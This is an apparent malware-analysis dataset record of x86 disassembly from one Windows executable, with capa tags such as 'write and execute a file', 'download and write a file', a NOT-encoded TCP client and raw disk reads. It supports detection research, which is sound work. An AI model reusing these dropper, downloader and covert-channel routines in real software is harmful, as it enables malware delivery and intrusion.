joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403360
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x314
mov eax, dword [0x435c24]
xor eax, esp
mov dword [esp + 0x310], eax
lea eax, [esp + 4]
push eax
push 0x104
mov dword [esp + 8], 0
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x42ea08
lea ecx, [esp + 8]
push 0x104
push ecx
call fcn.004167db
add esp, 0xc
push 0x104
lea edx, [esp + 0x10c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x108]
push eax
lea ecx, [esp + 0x210]
push 0x104
push ecx
call fcn.00416727
lea edx, [esp + 0x218]
push 0x5c
push edx
call fcn.00416790
add esp, 0x14
test eax, eax
je 0x4033eb
mov byte [eax], 0
push ebx
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4034e7
mov eax, 0x437550
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403420
sub eax, edx
push esi
push edi
mov edi, eax
lea eax, [esp + 0x114]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403437
sub eax, edx
mov ecx, eax
lea eax, [esp + 0x10]
lea esi, [eax + 1]
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x403450
sub eax, esi
lea edx, [eax + ecx*2]
add edx, ecx
lea edi, [edx + edi + 0x32]
push edi
call fcn.0040b18c
push edi
mov esi, eax
push 0
push esi
call fcn.00417c10
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x22c]
push ecx
lea edx, [esp + 0x12c]
push edx
mov eax, edx
push eax
push 0x437550
push edi
push esi
call fcn.004167bd
mov eax, esi
add esp, 0x2c
lea ecx, [eax + 1]
nop
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4034a0
push 0
sub eax, ecx
lea ecx, [esp + 0x10]
push ecx
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
lea edx, [esp + 0x1c]
push edx
push 0x42ea14
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
test esi, esi
je 0x4034e5
push esi
call fcn.0040b181
add esp, 4
pop edi
pop esi
mov ecx, dword [esp + 0x314]
pop ebx
xor ecx, esp
call fcn.004155bb
add esp, 0x314
ret
Function at 0x403560
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x70
or eax, 0xffffffff
push ebx
mov ebx, 1
push ebp
push esi
mov dword [esp + 0x14], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x64], eax
mov dword [esp + 0x74], eax
push edi
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x54], eax
mov dword [esp + 0x58], eax
mov dword [esp + 0x5c], eax
mov dword [esp + 0x60], eax
mov dword [esp + 0x64], eax
mov dword [esp + 0x6c], eax
mov dword [esp + 0x70], eax
mov dword [esp + 0x74], eax
mov dword [esp + 0x7c], eax
mov dword [esp + 0x78], ebx
mov dword [esp + 0x68], ebx
mov dword [esp + 0x50], ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x18], ebx
call fcn.004162d9
mov dword [esp + 0x14], eax
fild dword [esp + 0x14]
fmul qword [0x430c08]
fadd qword [0x430c20]
call fcn.00419930
mov ebp, eax
xor esi, esi
xor edi, edi
test ebp, ebp
jle 0x403680
call fcn.004162d9
mov dword [esp + 0x14], eax
fild dword [esp + 0x14]
fmul qword [0x430c08]
fmul qword [0x430c18]
fadd qword [0x430c10]
call fcn.00419930
mov ecx, eax
mov eax, dword [esp + ecx*4 + 0x18]
add eax, esi
cdq
xor eax, edx
sub eax, edx
cmp eax, ebx
jle 0x403668
lea esp, [esp]
add ecx, ebx
cmp ecx, 0x1a
jne 0x403659
xor ecx, ecx
mov eax, dword [esp + ecx*4 + 0x18]
add eax, esi
cdq
xor eax, edx
sub eax, edx
cmp eax, ebx
jg 0x403650
add esi, dword [esp + ecx*4 + 0x18]
mov eax, dword [esp + 0x84]
add ecx, 0x61
mov word [eax + edi*2], cx
add edi, ebx
cmp edi, ebp
jl 0x403617
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x70
ret

Function at 0x403690
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov edi, eax
mov eax, dword [esp + 0x10]
push 0x42e930
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov ebx, eax
test ebx, ebx
je 0x4036f8
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push ebx
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [esp + 0x14]
push esi
mov ebx, eax
mov dword [ecx], esi
call fcn.0040b18c
push esi
mov edi, eax
push 0
push edi
call fcn.00417c10
push esi
push ebx
push edi
call fcn.0041d170
add esp, 0x1c
mov eax, edi
pop edi
pop esi
pop ebx
ret
pop edi
mov eax, esi
pop esi
pop ebx
ret
Function at 0x403880
Capabilities:
Get mac address on windows

Disassembly:
sub esp, 0x3c
mov eax, dword [0x435c24]
xor eax, esp
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x40]
push ebx
push ebp
push esi
mov esi, edx
mov dword [esp + 0x18], eax
xor eax, eax
xor edx, edx
push 0x288
mov dword [esp + 0x24], esi
mov dword [esp + 0x20], ecx
mov dword [esp + 0x10], 0xffffffff
mov word [esp + 0x28], dx
mov dword [esp + 0x2a], eax
mov dword [esp + 0x2e], eax
mov dword [esp + 0x32], eax
mov dword [esp + 0x36], eax
mov dword [esp + 0x3a], eax
mov dword [esp + 0x3e], eax
mov dword [esp + 0x42], eax
mov word [esp + 0x46], ax
xor ebx, ebx
call fcn.00415619
mov ebp, eax
add esp, 4
lea eax, [esp + 0x10]
push eax
push ebp
mov dword [esp + 0x18], 0x288
call sub.IPHLPAPI.DLL_GetAdaptersInfo
cmp eax, 0x6f
jne 0x403913
push ebp
call fcn.004156e3
mov ecx, dword [esp + 0x14]
push ecx
call fcn.00415619
add esp, 8
mov ebp, eax
lea edx, [esp + 0x10]
push edx
push ebp
call sub.IPHLPAPI.DLL_GetAdaptersInfo
test eax, eax
jne 0x4039f7
mov eax, ebp
mov dword [esp + 0x14], ebp
test ebp, ebp
je 0x4039f7
push edi
jmp 0x403944
mov eax, dword [esp + 0x18]
inc dword [esp + 0x10]
test esi, esi
je 0x40395f
mov ecx, dword [eax + 0x194]
mov dword [esi], ecx
mov dx, word [eax + 0x198]
mov word [esi + 4], dx
lea edi, [eax + 0x1ac]
test edi, edi
je 0x4039e4
lea esp, [esp]
lea edx, [edi + 4]
mov eax, edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403978
sub eax, esi
mov ecx, eax
cmp ecx, 0x10
jle 0x40398d
mov ecx, 0x10
xor eax, eax
test ecx, ecx
jl 0x4039ad
cmp eax, ecx
jne 0x40399e
xor esi, esi
mov word [esp + eax*2 + 0x28], si
movsx si, byte [edx + eax]
mov word [esp + eax*2 + 0x28], si
inc eax
cmp eax, ecx
jle 0x403995
lea eax, [esp + 0x28]
push eax
call fcn.00403ac0
add esp, 4
test eax, eax
je 0x4039d5
mov edx, dword [esp + 0x1c]
mov eax, dword [edx + ebx*4]
lea ecx, [esp + 0x28]
push ecx
push 0x10
push eax
call fcn.00415830
add esp, 0xc
mov edi, dword [edi]
inc ebx
test edi, edi
jne 0x403970
mov eax, dword [esp + 0x18]
mov esi, dword [esp + 0x24]
test ebx, ebx
jg 0x4039f6
mov eax, dword [eax]
mov dword [esp + 0x18], eax
test eax, eax
jne 0x403940
pop edi
mov ecx, dword [esp + 0x1c]
mov dword [ecx], ebx
test ebp, ebp
je 0x403a0a
push ebp
call fcn.004156e3
add esp, 4
mov ecx, dword [esp + 0x44]
mov eax, dword [esp + 0xc]
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004155bb
add esp, 0x3c
ret
Function at 0x403cc0
Capabilities:
Check os version

Disassembly:
sub esp, 0x120
mov eax, dword [0x435c24]
xor eax, esp
mov dword [esp + 0x11c], eax
push esi
push 0x118
xor esi, esi
lea eax, [esp + 0xc]
push esi
push eax
call fcn.00417c10
add esp, 0xc
lea ecx, [esp + 4]
push ecx
mov dword [esp + 8], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x403d99
mov eax, dword [esp + 8]
cmp eax, 5
jne 0x403d65
mov eax, dword [esp + 0xc]
test eax, eax
jne 0x403d3e
cmp word [esp + 0x118], 4
jb 0x403d99
mov esi, 1
mov eax, esi
pop esi
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.004155bb
add esp, 0x120
ret
cmp eax, 2
jae 0x403d48
cmp eax, 1
jne 0x403d99
mov esi, 3
mov eax, esi
pop esi
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.004155bb
add esp, 0x120
ret
cmp eax, 6
jne 0x403d99
mov eax, dword [esp + 0xc]
test eax, eax
jne 0x403d8f
mov esi, 4
mov eax, esi
pop esi
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.004155bb
add esp, 0x120
ret
cmp eax, 1
jne 0x403d99
mov esi, 5
mov ecx, dword [esp + 0x120]
mov eax, esi
pop esi
xor ecx, esp
call fcn.004155bb
add esp, 0x120
ret

Function at 0x403dc0
Capabilities:
Get file size

Disassembly:
sub esp, 0x10
push ebx
push esi
push edi
push 0
push 0
push 3
push 0
push 3
push connect
or edi, 0xffffffff
push eax
or ebx, edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, edi
jne 0x403df2
or eax, edi
or edx, edi
pop edi
pop esi
pop ebx
add esp, 0x10
ret
lea ecx, [esp + 0x10]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
cmp eax, 1
jne 0x403e0b
mov edi, dword [esp + 0x10]
mov ebx, dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
mov edx, ebx
pop ebx
add esp, 0x10
ret

Function at 0x403f50
Capabilities:
Get common file path

Disassembly:
sub esp, 0x20c
mov eax, dword [0x435c24]
xor eax, esp
mov dword [esp + 0x208], eax
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0xa]
push ecx
mov word [esp + 0xc], ax
call fcn.00417c10
add esp, 0xc
cmp dword [0x436f90], 3
jne 0x403fb0
push 0x104
lea edx, [esp + 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x42e7e0
lea eax, [esp + 4]
push 0x104
push eax
call fcn.004157b3
add esp, 0xc
jmp 0x403fbf
lea ecx, [esp]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
lea edx, [esp + 4]
push edx
push 0x42ea44
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [esp + 0x218]
add esp, 0x10
xor ecx, esp
call fcn.004155bb
add esp, 0x20c
ret

Function at 0x404080
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x18
xor ecx, ecx
push esi
mov esi, eax
xor eax, eax
mov dword [esp + 8], eax
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], ecx
mov dword [esp + 4], eax
cmp edi, 0xffffffff
je 0x4040d4
mov eax, dword [esp + 0x20]
mov ecx, 0x200
mul ecx
mov ecx, dword [esp + 0x24]
mov dword [esp + 0x14], edx
lea edx, [esp + 8]
push edx
mov dword [esp + 0x14], eax
lea eax, [esp + 8]
push eax
shl esi, 9
push esi
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
pop esi
add esp, 0x18
ret
Function at 0x4043b0
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x228
mov eax, dword [0x435c24]
xor eax, esp
mov dword [esp + 0x220], eax
push edi
push 0x200
xor edi, edi
lea eax, [esp + 0x24]
push edi
push eax
call fcn.00417c10
xor eax, eax
add esp, 0xc
mov dword [esp + 0xc], edi
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 8], edi
cmp esi, 0xffffffff
je 0x40444c
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0xc]
push edx
push 0x200
lea eax, [esp + 0x2c]
push eax
push esi
mov dword [esp + 0x28], edi
mov dword [esp + 0x2c], edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, edi
je 0x40444a
push 0x200
lea ecx, [esp + 0x24]
push ecx
push 0x28
call fcn.00404280
add esp, 0xc
pop edi
mov ecx, dword [esp + 0x220]
xor ecx, esp
call fcn.004155bb
add esp, 0x228
ret
mov eax, edi
mov ecx, dword [esp + 0x224]
pop edi
xor ecx, esp
call fcn.004155bb
add esp, 0x228
ret

Function at 0x404580
Capabilities:
Get disk information via ioctl

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
push edi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
xor ebp, ebp
xor edi, edi
xor ebx, ebx
cmp dword [esp + 0x24], 0xffffffff
mov dword [esp + 0x10], ebp
mov dword [esp + 0x18], ebp
je 0x40469e
push 0xc00
call fcn.0040b18c
mov ecx, dword [esp + 0x28]
add esp, 4
push ebx
mov esi, eax
lea eax, [esp + 0x18]
push eax
push 0xc00
push esi
push ebx
push ebx
push 0x70050
push ecx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x404691
mov eax, dword [esi + 0x3c]
mov ecx, dword [esi + 0x38]
test eax, eax
jl 0x4045f9
jg 0x4045ed
test ecx, ecx
jbe 0x4045f9
mov ebx, dword [esi + 0x40]
mov ebp, dword [esi + 0x44]
mov edx, ecx
mov edi, eax
jmp 0x4045fd
mov edx, dword [esp + 0x18]
mov eax, dword [esi + 0xcc]
cmp eax, edi
mov ecx, dword [esi + 0xc8]
jl 0x404627
jg 0x404613
cmp ecx, edx
jbe 0x404627
mov ebx, dword [esi + 0xd0]
mov ebp, dword [esi + 0xd4]
mov dword [esp + 0x18], ecx
mov edi, eax
mov edx, ecx
mov eax, dword [esi + 0x15c]
cmp eax, edi
mov ecx, dword [esi + 0x158]
jl 0x404651
jg 0x40463d
cmp ecx, edx
jbe 0x404651
mov ebx, dword [esi + 0x160]
mov ebp, dword [esi + 0x164]
mov dword [esp + 0x18], ecx
mov edi, eax
mov edx, ecx
mov eax, dword [esi + 0x1ec]
cmp eax, edi
mov ecx, dword [esi + 0x1e8]
jl 0x40467b
jg 0x404667
cmp ecx, edx
jbe 0x40467b
mov ebx, dword [esi + 0x1f0]
mov ebp, dword [esi + 0x1f4]
mov dword [esp + 0x18], ecx
mov edi, eax
mov edx, ecx
push 0
add ebx, edx
push 0x200
adc ebp, edi
push ebp
push ebx
call fcn.00419a20
mov dword [esp + 0x10], eax
test esi, esi
je 0x40469e
push esi
call fcn.0040b181
add esp, 4
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
Function at 0x4047b0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x218
mov eax, dword [0x435c24]
xor eax, esp
mov dword [esp + 0x210], eax
push ebx
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov word [esp + 0x14], ax
call fcn.00417c10
add esp, 0xc
push 0x104
lea edx, [esp + 0xc]
push edx
mov dword [esp + 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
movzx eax, word [esp + 8]
sub eax, 0x41
push eax
lea ebx, [esp + 8]
call fcn.00404470
mov ebx, dword [esp + 8]
add esp, 4
call fcn.004042f0
cmp eax, 0xffffffff
jne 0x404832
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.004155bb
add esp, 0x218
ret
push esi
call fcn.004046e0
mov ecx, dword [esp + 0x218]
add esp, 4
pop ebx
xor ecx, esp
call fcn.004155bb
add esp, 0x218
ret

Function at 0x405ba0
Capabilities:
Hash data using sha1
Read file on windows

Disassembly:
mov eax, 0x1068
call fcn.0041a0c0
mov eax, dword [0x435c24]
xor eax, esp
mov dword [esp + 0x1064], eax
mov eax, dword [esp + 0x106c]
push ebx
push ebp
push 0x42e7fc
push eax
lea eax, [esp + 0x10]
xor ebx, ebx
push eax
mov dword [esp + 0x14], ebx
xor ebp, ebp
call fcn.004159c6
mov eax, dword [esp + 0x14]
add esp, 0xc
cmp eax, ebx
jne 0x405c0b
xor eax, eax
mov dword [edi], eax
mov dword [edi + 4], eax
mov dword [edi + 8], eax
pop ebp
mov dword [edi + 0xc], eax
mov dword [edi + 0x10], eax
pop ebx
mov ecx, dword [esp + 0x1064]
xor ecx, esp
call fcn.004155bb
add esp, 0x1068
ret
push esi
push 2
push ebx
push eax
call fcn.00415aa3
mov ecx, dword [esp + 0x18]
push ecx
call fcn.00415cc5
mov edx, dword [esp + 0x1c]
push ebx
push ebx
push edx
mov dword [esp + 0x2c], eax
call fcn.00415aa3
mov eax, dword [esp + 0x28]
push eax
push 0x1000
lea ecx, [esp + 0x94]
push 1
push ecx
mov dword [esp + 0x44], ebx
mov dword [esp + 0x40], ebx
mov dword [esp + 0x48], 0x67452301
mov dword [esp + 0x4c], 0xefcdab89
mov dword [esp + 0x50], 0x98badcfe
mov dword [esp + 0x54], 0x10325476
mov dword [esp + 0x58], 0xc3d2e1f0
call fcn.00415fd3
mov esi, eax
add esp, 0x2c
cmp esi, ebx
jbe 0x405cb6
lea edx, [esp + 0x70]
push esi
push edx
lea ebx, [esp + 0x1c]
call fcn.00405a10
mov eax, dword [esp + 0x14]
push eax
push 0x1000
lea ecx, [esp + 0x80]
push 1
push ecx
add ebp, esi
call fcn.00415fd3
mov esi, eax
add esp, 0x18
test esi, esi
ja 0x405c81
xor ebx, ebx
push edi
lea esi, [esp + 0x18]
call fcn.00405ab0
mov edx, dword [esp + 0x10]
push edx
call fcn.00416067
add esp, 8
pop esi
cmp ebp, dword [esp + 0xc]
jb 0x405be4
mov ecx, dword [esp + 0x106c]
pop ebp
pop ebx
xor ecx, esp
mov eax, 1
call fcn.004155bb
add esp, 0x1068
ret
Function at 0x405d00
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x9b8
mov eax, dword [0x435c24]
xor eax, esp
mov dword [esp + 0x9b4], eax
mov eax, dword [ebp + 8]
push esi
push edi
mov edi, ecx
xor ecx, ecx
push 0x7fe
push ecx
lea edx, [esp + 0x1c2]
push edx
mov dword [esp + 0x20], eax
mov word [esp + 0x1c4], cx
call fcn.00417c10
xor eax, eax
add esp, 0xc
lea esi, [esp + 0x1b8]
cmp edi, eax
je 0x405d54
mov esi, edi
lea edx, [esp + 0x28]
push edx
xor ecx, ecx
push 0x101
mov word [esi], cx
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x405dbe
push 0x42eaa8
push 0x3ff
push esi
call fcn.00415830
push 0x42eac8
push 0x3ff
push esi
call fcn.004157b3
push 0x42eacc
push 0x3ff
push esi
call fcn.004157b3
add esp, 0x24
xor eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0x9b4]
xor ecx, esp
call fcn.004155bb
mov esp, ebp
pop ebp
ret
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebx], eax
cmp eax, 0xffffffff
je 0x405d75
mov edi, dword [esp + 0x14]
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x405e5c
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
mov dword [esp + 0x10], eax
push 4
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
test eax, eax
jne 0x405e5c
push 0x42eaa8
push 0x3ff
push esi
call fcn.00415830
push 0x42eac8
push 0x3ff
push esi
call fcn.004157b3
push 0x42eacc
push 0x3ff
push esi
call fcn.004157b3
mov eax, dword [ebx]
add esp, 0x24
test eax, eax
je 0x405e44
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [ebx], 0
mov eax, dword [esp + 0x10]
pop edi
pop esi
mov ecx, dword [esp + 0x9b4]
xor ecx, esp
call fcn.004155bb
mov esp, ebp
pop ebp
ret
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
mov edx, dword [ebp + 0xc]
mov ecx, 2
push edx
mov dword [esp + 0x20], eax
mov word [esp + 0x1c], cx
call dword [sym.imp.WS2_32.dll_htons]
mov ecx, dword [ebx]
mov word [esp + 0x1a], ax
push 0x10
lea eax, [esp + 0x1c]
push eax
push ecx
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x405e9e
push 0x42eb0c
jmp 0x405e03
mov ecx, dword [esp + 0x9bc]
pop edi
pop esi
mov dword [esp + 8], 1
mov eax, dword [esp + 8]
xor ecx, esp
call fcn.004155bb
mov esp, ebp
pop ebp
ret
Function at 0x405ec0
Capabilities:
Send data
Send data on socket

Disassembly:
push ecx
mov ecx, dword [esp + 8]
push ebx
xor eax, eax
push ebp
mov ebp, dword [esp + 0x14]
push esi
mov dword [esp + 0xc], eax
cmp dword [ecx], eax
je 0x405f42
cmp edi, eax
jle 0x405eed
lea ebx, [ebx]
mov dl, byte [eax + ebp]
not dl
mov byte [eax + ebp], dl
inc eax
cmp eax, edi
jl 0x405ee0
lea ebx, [edi + 7]
push ebx
call fcn.0040b18c
mov esi, eax
lea eax, [edi + 5]
mov word [esi], ax
mov ecx, dword [0x437010]
push edi
mov dword [esi + 2], ecx
mov dl, byte [0x437014]
lea eax, [esi + 7]
push ebp
push eax
mov byte [esi + 6], dl
call fcn.0041d170
mov ecx, dword [esp + 0x24]
mov edx, dword [ecx]
add esp, 0x10
push 0
push ebx
push esi
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x405f46
cmp eax, ebx
jne 0x405f46
mov dword [esp + 0xc], 1
jmp 0x405f46
mov esi, dword [esp + 0x14]
test esi, esi
je 0x405f53
push esi
call fcn.0040b181
add esp, 4
mov eax, dword [esp + 0xc]
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x4060a0
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 0x8dc
mov eax, dword [0x435c24]
xor eax, esp
mov dword [esp + 0x8d8], eax
mov eax, dword [esp + 0x8e4]
push ebx
push ebp
mov ebp, dword [esp + 0x8e8]
push esi
push edi
mov esi, edx
xor edx, edx
push 0x7fe
mov dword [esp + 0x1c], eax
push edx
lea eax, [esp + 0xf2]
push eax
mov dword [esp + 0x28], ecx
mov word [esp + 0xf4], dx
call fcn.00417c10
add esp, 0xc
lea edi, [esp + 0xe8]
mov dword [esp + 0x10], edi
test esi, esi
je 0x406105
mov dword [esp + 0x10], esi
mov edi, esi
xor ecx, ecx
mov word [edi], cx
mov esi, dword [ebp]
xor ebx, ebx
mov dword [esp + 0x14], ebx
test esi, esi
je 0x40627d
cmp dword [esp + 0x18], ecx
je 0x40627d
push 0xc7
lea edx, [esp + 0x25]
push ebx
push edx
mov byte [esp + 0x2c], cl
call fcn.00417c10
add esp, 0xc
push ebx
push 2
lea eax, [esp + 0x28]
push eax
push esi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x40626a
test eax, eax
je 0x40626a
movzx edi, word [esp + 0x20]
lea ecx, [edi + 2]
push ecx
xor esi, esi
call fcn.0040b18c
add esp, 4
mov ebx, eax
test edi, edi
jle 0x406222
lea esp, [esp]
mov ecx, dword [ebp]
push 0
mov edx, edi
sub edx, esi
push edx
lea eax, [esi + ebx]
push eax
push ecx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x406205
test eax, eax
je 0x406205
add esi, eax
cmp edi, esi
jg 0x406180
cmp esi, 5
jl 0x406222
mov eax, dword [0x437010]
sub esi, 5
cmp eax, dword [ebx]
jne 0x406251
mov cl, byte [ebx + 4]
cmp cl, byte [0x437014]
jne 0x406251
test esi, esi
jle 0x4061dd
lea eax, [ebx + 5]
mov edi, esi
mov dl, byte [eax]
not dl
mov byte [eax], dl
inc eax
sub edi, 1
jne 0x4061d1
mov edi, dword [esp + 0x1c]
mov eax, dword [edi]
cmp eax, esi
jl 0x406235
mov ecx, dword [esp + 0x18]
push esi
lea eax, [ebx + 5]
push eax
push ecx
call fcn.0041d170
mov dword [edi], esi
add esp, 0xc
mov dword [esp + 0x14], 1
jmp 0x406222
mov edx, dword [esp + 0x10]
push 0x42eb30
push 0x3ff
push edx
call fcn.00415830
add esp, 0xc
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
test ebx, ebx
je 0x40622f
push ebx
call fcn.0040b181
add esp, 4
mov eax, dword [esp + 0x14]
jmp 0x40627f
push eax
mov eax, dword [esp + 0x1c]
lea edx, [ebx + 5]
push edx
push eax
call fcn.0041d170
add esp, 0xc
mov dword [esp + 0x14], 1
jmp 0x406222
mov ecx, dword [esp + 0x10]
push 0x42eb30
push 0x3ff
push ecx
call fcn.00415830
add esp, 0xc
jmp 0x406222
push 0x42eb30
push 0x3ff
push edi
call fcn.00415830
add esp, 0xc
mov eax, ebx
mov ecx, dword [esp + 0x8e8]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004155bb
add esp, 0x8dc
ret
Function at 0x406460
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
mov eax, 0x100c
call fcn.0041a0c0
mov eax, dword [0x435c24]
xor eax, esp
mov dword [esp + 0x1008], eax
mov edx, dword [ebx]
mov eax, dword [esp + 0x1010]
push ebp
mov ebp, dword [sym.imp.WS2_32.dll_recv]
push edi
xor edi, edi
push edi
push 4
lea ecx, [esp + 0x10]
push ecx
push edx
mov dword [esp + 0x1c], eax
call ebp
cmp eax, 4
je 0x4064b8
pop edi
xor eax, eax
pop ebp
mov ecx, dword [esp + 0x1008]
xor ecx, esp
call fcn.004155bb
add esp, 0x100c
ret
cmp dword [esp + 8], edi
jbe 0x4064fd
push esi
nop
mov ecx, dword [ebx]
push 0
push 0x1000
lea eax, [esp + 0x1c]
push eax
push ecx
call ebp
mov esi, eax
test esi, esi
je 0x4064fc
mov edx, dword [esp + 0x10]
mov eax, dword [edx]
push eax
push esi
lea ecx, [esp + 0x1c]
push 1
push ecx
call fcn.00416245
add edi, esi
add esp, 0x10
mov dword [0x43a204], edi
cmp edi, dword [esp + 0xc]
jb 0x4064c0
pop esi
mov edx, dword [esp + 0xc]
mov eax, dword [edx]
push eax
call fcn.00416067
mov ecx, dword [esp + 0x1014]
add esp, 4
cmp edi, dword [esp + 8]
pop edi
sbb eax, eax
pop ebp
xor ecx, esp
inc eax
call fcn.004155bb
add esp, 0x100c
ret

Function at 0x4069a0
Capabilities:
Get common file path
Write file on windows

Disassembly:
sub esp, 0x214
mov eax, dword [0x435c24]
xor eax, esp
mov dword [esp + 0x210], eax
push esi
push 0x206
xor esi, esi
lea ecx, [esp + 0x12]
xor eax, eax
push esi
push ecx
mov word [esp + 0x18], ax
call fcn.00417c10
add esp, 0xc
cmp edi, esi
je 0x406a88
mov eax, 0x42ea04
mov dword [esp + 4], esi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, si
jne 0x4069e5
sub eax, edx
sar eax, 1
je 0x406a0f
push 0x42e804
lea edx, [esp + 8]
push 0x42ea04
push edx
call fcn.004159c6
add esp, 0xc
jmp 0x406a4a
lea eax, [esp + 0xc]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x42eb8c
lea ecx, [esp + 0x10]
push 0x104
push ecx
call fcn.004157b3
push 0x42e804
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x18]
push eax
call fcn.004159c6
add esp, 0x18
mov eax, dword [esp + 4]
cmp eax, esi
je 0x406a6d
push eax
push 1
push 0x200
push edi
call fcn.00416245
mov ecx, dword [esp + 0x14]
push ecx
call fcn.00416067
add esp, 0x14
mov eax, 1
pop esi
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.004155bb
add esp, 0x214
ret
mov ecx, dword [esp + 0x214]
mov eax, esi
pop esi
xor ecx, esp
call fcn.004155bb
add esp, 0x214
ret